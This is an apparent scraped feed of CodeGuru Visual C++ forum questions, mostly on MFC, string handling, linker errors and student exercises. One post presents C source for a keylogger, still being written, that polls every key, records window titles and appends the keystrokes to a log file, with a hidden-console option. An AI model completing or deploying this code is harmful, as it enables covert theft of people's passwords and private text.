Quantcast
Channel: CodeGuru Forums - Visual C++ Programming
Viewing all 3021 articles
Browse latest View live

How do I receive POST data in a C++ program

$
0
0
I need to write an interface program in C++ to receive occasional data being sent to me from a different company from across the internet. The company says they will send the data using POST. They have given me a document that lists their data's specific parameters and their meaning. They have told me very little else.

How do I receive this data in my C++ program?

New to VC++ 2012

$
0
0
VC++ 2012 looks like a completely new language to me. After working on VC++ 2008 I am developing a project in 2012. It looks like an alien language. This is a simple index

Code:

listener.support(methods::POST,[](http_request req)
        {
                std::cout << "Serving POST" << std::endl;
                req.extract_string(true).then([req](utility::string_t body)
                {
                        std::wcout << body << std::endl;
                        req.reply(status_codes::OK, U("<html><body>Received.</body></html>"), U("text/html"));
                });
        });

Where I want to replace a '+' sign with ' ' a space. But that replace function the argument that it takes looks completly out of mind, till 2008 it was so easy. With this version it very confusing.

Can someone tell me that I have a string_t containing these values 'Name1+Name2+Name3+......+Name10'. I want to store the values of all these names in a list. How can I accomplish this?

Help With Batch Code

$
0
0
I'm working on a project for my son. I want to imitate the code for the matrix in CMD using a .bat file.
~note: this is an example of whats going on, not the whole code

:start
@set /a bottomlimit = 0
@set /a upperlimit = 2
@set /a result1 = %bottomlimit% + %random% %% (%upperlimit% - %bottomlimit% + 1)

if %result1% == "2" set /a result1 = " " <- this is the part that is messing up, it doesnt change the 2 to a blank space and keeps echoing as 2

echo %result1%

goto start

Tooltips not working for all controls in CFormView derived class

$
0
0
I can't get tooltips to show up for the windows I want in my CFormView derived class. I have copied the code from the MSDN entry on EnableToolTips(). But only two windows respond with a tooltip:

CONTROL "Tree1",IDC_TESTPLANS,"SysTreeView32",TVS_HASBUTTONS | TVS_HASLINES | TVS_EDITLABELS | TVS_SHOWSELALWAYS | WS_BORDER | WS_HSCROLL | WS_TABSTOP,1,36,85,91
CONTROL "Tab1",IDC_TABCMD,"SysTabControl32",0x0,101,0,239,181

Other windows do not respond. For these windows my function designed to catch the TTN_NEEDTEXTW and TTN_NEEDTEXTA messages is not called. Windows such as

LISTBOX IDC_TESTPLANNAMES,0,119,48,40,LBS_SORT | LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP
PUSHBUTTON "",IDC_BTN_COPY,105,177,24,24,BS_ICON

Why wouldn't the messages be sent for those windows? I'm using the code

ON_NOTIFY_EX_RANGE(TTN_NEEDTEXTW, 0, 0xFFFF, &CCntlrView::OnTtnNeedText)
ON_NOTIFY_EX_RANGE(TTN_NEEDTEXTA, 0, 0xFFFF, &CCntlrView::OnTtnNeedText)

(CCntrlView is the name of my class derived from CFormView.) And as I pointed out, I'm using the code straight from the example given in MSDN for CWnd::EnableToolTips(), with the only difference being that all my controls are created in the rc file as shown above.

Any help appreciated.

Thanks,
Gary

Getting cURL result in MFC C++

$
0
0
I'm trying to messagebox the cURL result:
Code:

CURL *curl;
CURLcode res;
curl = curl_easy_init();
if (curl) {
    curl_easy_setopt(curl, CURLOPT_URL, "http://example.com");
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    res = curl_easy_perform(curl);
    if (res != CURLE_OK)
        fprintf(stderr, "curl_easy_perform() failed: %s\n",
        curl_easy_strerror(res));
    curl_easy_cleanup(curl);
}
MessageBox(res, _T("Title"), MB_ICONASTERISK | MB_OK);

Is there anyway to messagebox the res value ? Thanks very much!

Pythagorean triples in code c, help!

$
0
0
I need to create a code in c fits the description below, I have no idea what to do, if someone could possibly write a code or explain to me what I could do that would be appreciated!

Description
A positive integer triple (a, b, c) with 0 < a < b < c and a^2 + b^2 = c^2
is called a Pythagorean triple. Write a
program in C which reads an integer N and prints
1. the total number of Pythagorean triples (a, b, c) with c < N,
2. every such Pythagorean triple, and
3. the triple that has the largest value of c.
Hint: you can enumerate all possible pairs (a, b) with 0 < a < b < N and check if they satisfy a
2+b
2 < N2
.
Example Input/Output
• Enter a positive integer: [3]
There is no Pythagorean triple in this range.
• Enter a positive integer: [15]
There are 3 Pythagorean triples in this range:
(3, 4, 5)
(5, 12, 13)
(6, 8, 10)
The triple with the largest value of c is (5, 12, 13).
• Enter a positive integer: [6]
There are 1 Pythagorean triples in this range:
(3, 4, 5)
The triple with the largest value of c is (3, 4, 5).

c++ code

$
0
0
Hello guys i'm kinda new to programming and i'm trying to do a certain task.
I want to use a for loop to read certain data from a txt file and print them to a console.
I'm trying to read student names and their grades.
something like
3 // 3 represents the number of students.
George 97
Sarah 70
Maya 88
the data may vary but it's always in this format.
any help is appreciated
thanks

How to debug Win32 Message Loop?

$
0
0
You place a breakpoint at one of locations within the message loop.
But I want the breakpoint to trigger when I click on the application window, for example.
But I can't, it went so fast so long as I switch from VS to the application program,
the breakpoint is hitted again, then the application is frozen again.
I don't know how to setup a conditional breakpoint. Any pointers please?
Any ideas?
Thanks
Jack

ceil function name collision.

$
0
0
Code:

cv::Size output_size
          (gallerycols * 2 * its[0].cols(), ceil(4 / gallerycols) * 2 * its[0].rows());

Error        18        error C2668: 'ceil' : ambiguous call to overloaded function        E:\Jacky\Downloads\voronoi\voronoi\test_voronoi.cpp        207        1        voronoi

I try to #include <cmath>
and use std::ceil to no avail
There are still function names clashing.
Thanks
Jack

Setup and Deployment VC++ 2012

$
0
0
Setup and Deployment has been removed from Visual Studio 2012. So I separately installed Install Shield that is designed for Visual Studio 2012 and 2013.

Now after installing an application in fresh PC, when I ran the console application, I came across this error (copied from messagebox)

Code:

---------------------------
Listener.exe - Bad Image
---------------------------
C:\Windows\system\MSVCP110D.dll is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support.
---------------------------
OK 
---------------------------

When I tried to search for a solution to this error, I came across this article.

http://www.rhyous.com/2010/09/16/avo...msvcr100d-dll/

Where I followed these steps and still the error wasen't resolved. Can someone help me in resolving this issue?

Quote:

Release
1.In Visual Studio, I went to the project Properties.
2.I changed my Configuration to Release.
3.I went under Configuration Properties | C/C++ | Code Generation
4.Look at the Runtime Library setting. It is set to this: Multi-threaded DLL (/MD)
Change it to this: Multi-threaded (/MT)
5.Rebuild.

Debug

Almost exactly the same as release.
1.In Visual Studio, I went to the project Properties.
2.I changed my Configuration to Debug.
3.I went under Configuration Properties | C/C++ | Code Generation
4.Look at the Runtime Library setting. It is set to this: Multi-threaded Debug DLL (/MDd)
Change it to this: Multi-threaded Debug (/MTd)
5.Rebuild the debug

It might be a good idea for me to figure out how to change the project so when I create a new project of this type, those settings are the default.

declaring member variables in a windows form app

$
0
0
Hi All,

You'll have to excuse me because I'm coming from a more traditional C/C++ background (like a WIN32 project with a standard WndProc), and I've just started learning about Windows Forms. I have created a windows form project in visual studio so that I can use a windows form to interact with the game class that I'm creating, but I'm running into some problems.

For one thing, I would like to be able to call Image::FromFile() one time only during initialization, and store the result in a member variable (called mBGImage). From what I can tell, the variable needs to be of type String^ (this caret symbol is new to me, but I understand it is the "managed code" version of the standard pointer, which would look like String*). When I try to compile the following code (located in my header file) I get the error "error C3265: cannot declare a managed 'mBGImage' in an unmanaged 'BSG::BSGame'".

What am I doing wrong and how can I store the result of Image::FromFile() permanently in my class?

Oh, and also, when I try to declare a global variable of type "Image^", I get "error C3145: global or static variable may not have managed type System::Drawing::Image ^"

----------------------------

#include "stdafx.h"

using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;

namespace BSG
{
const Point kGridSize(400, 400); //size of grid (width, height)
const Point kGridTiles(10, 10); //total number of tiles (x,y)

public class BSGame
{
public:
BSGame(void); //constructor
~BSGame(void); //destructor

void Init(void); //Initialize the game
void DrawScreen(Graphics^ gfxObj, Rectangle rect);

private:
bool mInited; //is this object initialized?
Image^ mBGImage;
};
}

Help with Keylog Imposible to make.

$
0
0
Hi everybody Im from Argentina. (My english is not the best but i can understand some things at all) Anyway Im making a Keylogger.
The objective is to save all the posibilities pressed by the keyboard and then save all in a FILE .log

1) I dont know why doesnt works.

2)I want this program to be perfect. So must recognize all the key posibilities:

-Numbers
-Letters
-Normal Simbols(,.?¿àè)
-ASCII Simbols(☺☻♥♦)
-Its imposible but... the legendary UNICODE SIMBOLS (×ô£,and alts + more higher numbers than 9999 for example)

Some God of the programming in C++ can help me to finish this?




Code:

#include <stdio.h>        //Estandar Entrada Salida
#include <stdlib.h>  //Gestión de memoria dinámica/busquedas y ordenamientos.
#include <windows.h>  //Desarrollo de aplicaciónes en windows
#include <time.h>        //Toma tiempo real y fecha de los eventos

#define GHOST -2147483647    //Testear cambio de limites

int main()
{
                //Freeconsole();  Warning do not activate.
                FILE *log;      //Crear archivo en formato log
                time_t tiempo; //Guarda la fecha de acción
                HWND ventana;
                int tecla=0;  //codigo ASCII
                int cont=0;    //Contador
                char Laventana[500]=""; //Inicializo sin carga los vectores
                char teclas[10240]=""; //a partir de mas de 20k es inestable
                char simbolos[256][15]= {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
                                            "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                                      "","","","","","","[Esc]","","","",
                                            ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                                      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                                        "3","4","5","6","7","8","9","","","",
                                            "","","","","a","b","c","d","e","f",
                                      "g","h","i","j","k","l","m","n","o","p",
                                        "q","r","s","t","u","v","w","x","y","z",
                                      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                                  "4","5","6","7","8","9","*","+"," ","-",".",
                                  "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                                  "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," "," "," "," "," ",
                                  " "," ","[Bloq Num]"," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," "," "," ","[Shift-I]",
                                  "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," ",",","-",".",
                                  " "," "," "," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," "," "," "," "," ",
                                  " "," "," "," "," "," "," "," ","'","\\",
                                  "¡","´" };
               
                log=fopen("log.log","a");
  fprintf(log,"GHOST esta funcionando");
  fclose(log);
         
  ventana=GetForegroundWindow();
 
  while(1) {
      if((GetForegroundWindow()!=ventana) || (cont==850)){
        if(strlen(Laventana)>0 && strlen(teclas)>0) {
            time(&tiempo);
            ctime(&tiempo);

            log=fopen("log.log","a");
            fprintf(log,"\n\n[*] Fecha: %s",ctime(&tiempo));
            fprintf(log,"[*] Ventana: %s ",Laventana);
            fprintf(log,"\n[*] Texto: %s",teclas);
            fprintf(log,"\n ");
            fprintf(log,"\n/******************************/\n");
            fclose(log);

            free(teclas);
            strcpy(teclas,"");
            cont = 0;
            }
        ventana=GetForegroundWindow();
        }
      else {
          GetWindowText(ventana,Laventana,500);
          }
      for(tecla=4;tecla<256;tecla++) {
          if (GetAsyncKeyState(tecla)==GHOST) {
              strcat(teclas,simbolos[tecla]);
              printf(" %s \n" ,simbolos[tecla]);
              cont++;
              }
          }
    }
}

Calling a function in AfxBeginThread

$
0
0
I have the code:
Quote:

void go(CMFCApplication1Dlg * pdlg)
{
pdlg->listcontrol1.InsertItem(0, "Row1");
}
then i call it in thread
Code:

void CMFCApplication1Dlg::OnBnClickedButton3()
{
AfxBeginThread(go(this), NULL, THREAD_PRIORITY_NORMAL, 0, 0, NULL);
}

It doesn't work. Any idea how to make it work ? Thanks in advance!

C++ Beginner Help

$
0
0
Hello guys i need some quick assistance please
I'm writing a code which goes as follows.
the program will prompt the user to enter a every student's first and last name, major ( of 4 choices CMPS MATH PHYSICS or EECE ), and grade.
it's agreed that the professor will enter the name NoMore to stop the entry.
the program willl then store the info in a txt file. after closing the input file, the program will open it again read the records one at a time until end of file, and do some statistics including: highest grade, average grade, and highest average by major.
Finally the program will print the results
Now i need help anyway and if some could provide me with the Pseudo-code that would be awesome
many thanks ^^

MFC- receiving Button-Click-Message failed

$
0
0
I've created a new dialog in my MFC dialog based application. the new dialog contains 5 control buttons.

the following happens and I don't understand why?

1. click on buttonX. (result ok, OnBnClicked message is sent)
2. click on on any place of the application, but not on the dialog.(removing focus from dialog)
3. click again on buttonX (FAILED, OnBnClicked message is NOT sent). but if instead I click on any other button in the dialog (result ok, OnBnClicked message is sent).
and when I do:

1. ...
2. ...
3. click on the dialog area just to set focus on the dialog again
4. click again on buttonX. (result ok, OnBnClicked message is sent)
**I need to do step 3 only if I want to click again on the buttonX! why?? I think it related to SetFocus() but I m not sure how.

I've tried different style like, tool windows, overlapped, popup. it happens in all the cases.
Thanks for the help.

Code:

class CToolsDlg : public CBDialog
{
    DECLARE_DYNAMIC(CToolsDlg)

public:
    CToolsDlg(CWnd* pParent = NULL);  // standard constructor
    virtual ~CToolsDlg();
    CToolTipCtrl m_ToolsTips;

// Dialog Data
    enum { IDD = IDD_TOOLS_DIALOG };

protected:
    virtual void OnCancel();
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

    DECLARE_MESSAGE_MAP()
public:
    CMFCButton m_HoodButton;
    CMFCButton m_MediaForewardButton;
    CMFCButton m_MediaBackwardButton;
    CMFCButton m_LeftRightButton;
    virtual BOOL OnInitDialog();
    virtual BOOL PreTranslateMessage(MSG* pMsg);

    afx_msg void OnTimer(UINT_PTR nIDEvent);
    afx_msg void OnBnClickedCancel();
    afx_msg void OnBnClickedToolsHoodButton();
    afx_msg void OnBnClickedMediaForewardButton();
    afx_msg void OnBnClickedMediaBackwardButton();
    afx_msg void OnBnClickedLeftRightButton();
    afx_msg void OnBnClickedBackMediaPressButton();
};

.cpp

Code:

IMPLEMENT_DYNAMIC(CToolsDlg, CBDialog)

CToolsDlg::CToolsDlg(CWnd* pParent /*=NULL*/)
: CBDialog(CToolsDlg::IDD, pParent)
{

}
CToolsDlg::~CToolsDlg()
{
}
void CToolsDlg::DoDataExchange(CDataExchange* pDX)
{
    CBDialog::DoDataExchange(pDX);
    DDX_Control(pDX, IDC_TOOLS_HOOD_BUTTON,    m_HoodButton);
    DDX_Control(pDX, IDC_MEDIA_FOREWARD_BUTTON, m_MediaForewardButton);
    DDX_Control(pDX, IDC_MEDIA_BACKWARD_BUTTON, m_MediaBackwardButton);
    DDX_Control(pDX, IDC_TOOLS_LEFT_RIGHT,      m_LeftRightButton);
}


BEGIN_MESSAGE_MAP(CToolsDlg, CBDialog)
    ON_WM_CLOSE()
    ON_WM_DESTROY()
    ON_WM_TIMER()
    ON_BN_CLICKED(IDC_TOOLS_HOOD_BUTTON, &CToolsDlg::OnBnClickedToolsHoodButton)
    ON_BN_CLICKED(IDC_MEDIA_FOREWARD_BUTTON, &CToolsDlg::OnBnClickedMediaForewardButton)
    ON_BN_CLICKED(IDC_MEDIA_BACKWARD_BUTTON, &CToolsDlg::OnBnClickedMediaBackwardButton)
    ON_BN_CLICKED(IDC_TOOLS_LEFT_RIGHT, &CToolsDlg::OnBnClickedLeftRightButton)
    ON_BN_CLICKED(IDC_BACK_MEDIA_PRESS_BUTTON, &CToolsDlg::OnBnClickedBackMediaPressButton)
END_MESSAGE_MAP()


// CToolsDlg message handlers

BOOL CToolsDlg::OnInitDialog()
{
    CBDialog::OnInitDialog();

    // Window position
    //////////////////////////////////////////////////////////////////////////
    CMainFrame* mf =  (CMainFrame*)AfxGetMainWnd();
    RECT MFwinRect;
    RECT ThiswinRect;
    CWnd* fv = mf->m_wndSplitter.GetView( mf->m_wndSplitter.GetCurrentViewIndex(0,0) );
    fv->GetWindowRect(&MFwinRect);
    GetWindowRect(&ThiswinRect);
    MoveWindow(
        MFwinRect.right - (ThiswinRect.right - ThiswinRect.left) - 14,  // X
        MFwinRect.top + 14,                                            // Y
        (ThiswinRect.right - ThiswinRect.left),                        // nWidth
        (ThiswinRect.bottom - ThiswinRect.top) );                      // nHeight

    // Set controls state
    //////////////////////////////////////////////////////////////////////////
    m_ToolsTips.Create(this);
    m_ToolsTips.AddTool(&m_HoodButton,          TOOLTIP_HOOD_BUTTON);
    m_ToolsTips.AddTool(&m_MediaForewardButton, TOOLTIP_MEDIA_FOREWARD_BUTTON);
    m_ToolsTips.AddTool(&m_MediaBackwardButton, TOOLTIP_MEDIA_BACKWARD_BUTTON);
    m_ToolsTips.AddTool(&m_LeftRightButton,    TOOLTIP_LEFT_RIGHT_BUTTON);
    m_ToolsTips.SetDelayTime(1000);
    m_ToolsTips.Activate(BARAK_PREFS->m_Params.m_bShowToolTips);

    // Main timer loop (no need for now)
    // SetTimer( 1, 1000, NULL );
    return TRUE;
}

BOOL CToolsDlg::PreTranslateMessage(MSG* pMsg)
{
    m_ToolsTips.RelayEvent(pMsg);

    return CBDialog::PreTranslateMessage(pMsg);
}

void CToolsDlg::OnCancel()
{
    // When closing the window, destroy it and not only hide (its a floating window).
    DestroyWindow();
}

void CToolsDlg::OnTimer(UINT_PTR nIDEvent)
{
    CBDialog::OnTimer(nIDEvent);
}

void CToolsDlg::OnBnClickedToolsHoodButton()
{
    ...
}

void CToolsDlg::OnBnClickedMediaForewardButton()
{
    ...
}

void CToolsDlg::OnBnClickedMediaBackwardButton()

    ...
}

void CToolsDlg::OnBnClickedLeftRightButton()
{
    ...
}

void CToolsDlg::OnBnClickedBackMediaPressButton()
{
    ...
}


C++ while statement and switch statment

$
0
0
I'm creating a program for my assignment and keep running into problems:
Assignment requirements:
Write a program that lets a User enter letter grades of A,B,C,D or F and counts the number of A's, B's, C's, D's and F's. The User should enter a grade of Z to end data entry. Hence, the screen should include something like:
: (a description of what the program will do)
:
Please enter a letter grade or Z to stop ==> B
Please enter a letter grade or Z to stop ==> C
Please enter a letter grade or Z to stop ==> C
Please enter a letter grade or Z to stop ==> E
Sorry, E is not a valid grade.
Please enter a letter grade or Z to stop ==> d
:
:
Please enter a letter grade or Z to stop ==> A
Please enter a letter grade or Z to stop ==> Z

There were 3 A's
There were 1 B's
There were 5 C's
There were 2 D's
There were 0 F's

Requirements:
Your program must use a switch statement.
Use a while() loop with SENTINEL value Z

This is my program so far also I keep getting error C2660: 'updateCounts' : function does not take 5 arguments:

// A program that lets a User enter letter grades and counts the number each grade.


#include <iostream> // provides cout, etc.
using namespace std;

void explain_prog_to_user();
// tells user what the program does

void decimal_format();
// formats decimals nicely in output stream os


void updateCounts (char grade, int& countA, int& countB, int& countC, int& countD, int &countF);


const char SENTINEL = 'Z';

int main()
{
char default=0;
char grade;
int numA=0, numB=0, numC=0, numD=0, numF=0; //accumulator variables needed to report at end

explain_prog_to_user(); // tell user what proegam does

decimal_format(); // decimals formatted nicely on screen

cout << "\n Please enter a letter grade or\n" << SENTINEL << "to stop\n";
cin >> grade;
grade=toupper(grade);

while(grade != SENTINEL)
{

if(grade== default)
cout << "Grade invalid. Please try again \n\n";
else
{
cout << "\nPlease enter your grade: ";
cin >> grade;



// update grade counts
updateCounts (numA, numB, numC, numD, numF);

}

// start to process next worker

cout << "\n Please enter a letter grade or\n" << SENTINEL << "to stop\n";
cin >> grade;
grade=toupper(grade);

}

// output final total grade counts

cout << " Totals: \n";
cout << "Number of A " << numA << endl;
cout << "Number of B " << numB << endl;
cout << "Number of C " << numC << endl;
cout << "Number of D: " << numD << endl;
cout << "Number of F: " << numF<< endl;


system("pause");
return 0;

}

void explain_prog_to_user()
{
cout << "\nThis program calculates the number of grades of A, B, C, D, and F \n\n";

}

void decimal_format()
{
cout.setf(ios::fixed);
cout.setf(ios::showpoint);
cout.precision(2);
}



void updateCounts (char grade, int& countA, int& countB, int& countC, int& countD, int& countF)
// Precondition: grade is entered by user
// Postcondition: the grade for the current user’s has been increased by 1.
{
switch (grade)
{
case 'A': countA++;
break;
case 'B': countB++;
break;
case 'C': countC++;
break;
case 'D': countD++;
break;
case 'F': countF++;
break;
default: break;
};
return;
}

Problem using progress bar with large set range in MFC C++

$
0
0
Hello
I'm having problems with progress bar when using a big number in set range. For numbers below 50000 it works very well but for big numbers like 100.000 it doesn't work, it makes 2-3 rounds of animation
Code:

        int number= 50000; // 50k works well but if i put 100k it won't work (it will animate 2-3 rounds instead of complete one)
        progressbar1.SetRange(0, number);
        progressbar1.SetStep(1);
        for (int i = 0; i < number; ++i) {
        listcontrol1.InsertItem(i, _T("whatever"));
        progressbar1.StepIt();
        }

Any idea what's wrong with the code ?

Private base classes

$
0
0
Hello all,

In page 508 of this book (http://books.google.com/books?id=We2...epage&q&f=true), Biarne says: "This would make Shape a private base of Circle, making Shape's public functions inaccessible for a Circle."

And also in page of 511 of that book says: "If a base of class D is private, its public and protected member names can be used only by the members of D.".

These two make a paradox to me! Any idea please?

Didn't understand these unresolved externals?

$
0
0
Code:

#ifndef _CORRIDOR_H_
#define _CORRIDOR_H_

#include <math.h>
#include <vector>
#include <algorithm>
#include "Recast.h"
#include "RecastAlloc.h"
#include "RecastAssert.h"


/////////////////////////////

int getCornerHeight(int x, int y, int i, int dir,
                                                  const rcCompactHeightfield& chf,
                                                  bool& isBorderVertex);

void simplifyContour(rcIntArray& points, rcIntArray& simplified,
                                                        const float maxError, const int maxEdgeLen, const int buildFlags);

void removeDegenerateSegments(rcIntArray& simplified);

int calcAreaOfPolygon2D(const int* verts, const int nverts);

void getClosestIndices(const int* vertsa, const int nvertsa,
                                                          const int* vertsb, const int nvertsb,
                                                          int& ia, int& ib);

bool mergeContours(rcContour& ca, rcContour& cb, int ia, int ib);

void znWalkContour(int x, int y, int i, rcCompactHeightfield& chf, unsigned char* flags, rcIntArray& points);

Code:

static void simplifyContour(rcIntArray& points, rcIntArray& simplified,
                                                        const float maxError, const int maxEdgeLen, const int buildFlags)
{
....

Code:

1>Corridor.obj : error LNK2019: unresolved external symbol "bool __cdecl mergeContours(struct rcContour &,struct rcContour &,int,int)" (?mergeContours@@YA_NAAUrcContour@@0HH@Z) referenced in function "bool __cdecl znBuildContours(class rcContext *,struct rcCompactHeightfield &,float,int,struct rcContourSet &,int)" (?znBuildContours@@YA_NPAVrcContext@@AAUrcCompactHeightfield@@MHAAUrcContourSet@@H@Z)
1>Corridor.obj : error LNK2019: unresolved external symbol "void __cdecl getClosestIndices(int const *,int,int const *,int,int &,int &)" (?getClosestIndices@@YAXPBHH0HAAH1@Z) referenced in function "bool __cdecl znBuildContours(class rcContext *,struct rcCompactHeightfield &,float,int,struct rcContourSet &,int)" (?znBuildContours@@YA_NPAVrcContext@@AAUrcCompactHeightfield@@MHAAUrcContourSet@@H@Z)
1>Corridor.obj : error LNK2019: unresolved external symbol "int __cdecl calcAreaOfPolygon2D(int const *,int)" (?calcAreaOfPolygon2D@@YAHPBHH@Z) referenced in function "bool __cdecl znBuildContours(class rcContext *,struct rcCompactHeightfield &,float,int,struct rcContourSet &,int)" (?znBuildContours@@YA_NPAVrcContext@@AAUrcCompactHeightfield@@MHAAUrcContourSet@@H@Z)
1>Corridor.obj : error LNK2019: unresolved external symbol "void __cdecl removeDegenerateSegments(class rcIntArray &)" (?removeDegenerateSegments@@YAXAAVrcIntArray@@@Z) referenced in function "bool __cdecl znBuildContours(class rcContext *,struct rcCompactHeightfield &,float,int,struct rcContourSet &,int)" (?znBuildContours@@YA_NPAVrcContext@@AAUrcCompactHeightfield@@MHAAUrcContourSet@@H@Z)
1>Corridor.obj : error LNK2019: unresolved external symbol "void __cdecl simplifyContour(class rcIntArray &,class rcIntArray &,float,int,int)" (?simplifyContour@@YAXAAVrcIntArray@@0MHH@Z) referenced in function "bool __cdecl znBuildContours(class rcContext *,struct rcCompactHeightfield &,float,int,struct rcContourSet &,int)" (?znBuildContours@@YA_NPAVrcContext@@AAUrcCompactHeightfield@@MHAAUrcContourSet@@H@Z)
1>Corridor.obj : error LNK2019: unresolved external symbol "int __cdecl getCornerHeight(int,int,int,int,struct rcCompactHeightfield const &,bool &)" (?getCornerHeight@@YAHHHHHABUrcCompactHeightfield@@AA_N@Z) referenced in function "void __cdecl znWalkContour(int,int,int,struct rcCompactHeightfield &,unsigned char *,class rcIntArray &)" (?znWalkContour@@YAXHHHAAUrcCompactHeightfield@@PAEAAVrcIntArray@@@Z)
1>bin\Debug\\PerfectSim.exe : fatal error LNK1120: 6 unresolved externals

I have include a prototype in an include file. These link time errors still happen.
They are defined as static global functions.
Can't understand it.
Thanks
Jack

[RESOLVED] help with binary to decimal converter please

$
0
0
Hi
I'm trying to figure out why the binary to decimal part is not working correctly when the binary value finishes with a 1. In those cases, the decimal value shown in one unit smaller than it should be.
Can someone please help me with this issue? Thanks.

Code:

#include <iostream>
#include <cstdio>
#include <cstdlib>
using namespace std;

void Binary_to_Decimal(), Decimal_to_Binary(); //prototype for the 2 functions that contain the converters
int main() //the menu
{
int a_Choice;
cout << "Enter 1 - for binary to decimal" << endl;
cout << "Enter 2 - for decimal to binary" << endl;
cin >> a_Choice;
if (a_Choice == 1) Binary_to_Decimal();
else if (a_Choice == 2) Decimal_to_Binary();
}


void Binary_to_Decimal() //bintodec converter
{
int bin, dec = 0, rem, base = 1; // we can use long or unsigned long for a wider range

cout << "Enter the binary number(1s and 0s): ";
cin >> bin;
while (bin != 0) //the algorithm for getting the decimal is a loop of division by 10 until bin=0
{
rem = bin % 10; //finds remainder
dec = dec + rem * base; //it sums the previous sum (initially 0) to the product of remainder and base
bin = bin / 10; //divides binary number by 10
base = base*2; //first time base is 1, then multiplies it by 2 each step to get the binary progression (1,2,4,8,16 etc.)
}
/* Example: 1101011 to dec is 107
* 1. 1101011 / 10 = 110101; 1101011 % 10 = 1; base is 1 at start(2^0). sum = 0 (initial sum) + 1 (remainder)* 1 (base) = 1
* 2. 110101 / 10 = 11010; 110101 % 10 = 1; base is 1(previous)*2. sum = 1 (previous sum) + 1 (remainder)* 2 (base) = 3
* 3. 11010 / 10 = 1101; rem = 0; base = 4; sum = 3 + 0*4 = 3
* 4. 1101 / 10 = 110; rem = 1; base = 8; sum = 3+1*8=11
* 5. 110 / 10 = 11; rem = 0; base = 16; sum = 11+0*16=11
* 6. 11/10=1; rem=1; base=32; sum=11+1*32=43
* 7. 1/10=0; rem=1; base=64; sum=43+1*64=107
*/
cout << "The decimal equivalent: " << dec << endl;
}

void Decimal_to_Binary()
{
int a=1,sum=0,dec;
cout << "Enter a decimal number: ";
cin>>dec;

while(dec!=0)
{
sum=sum+(dec%2)*a;
dec=dec/2;
a=a*10;
if(dec==0) break;
}
cout<< "The binary equivalent: " << sum << endl;
}
Viewing all 3021 articles
Browse latest View live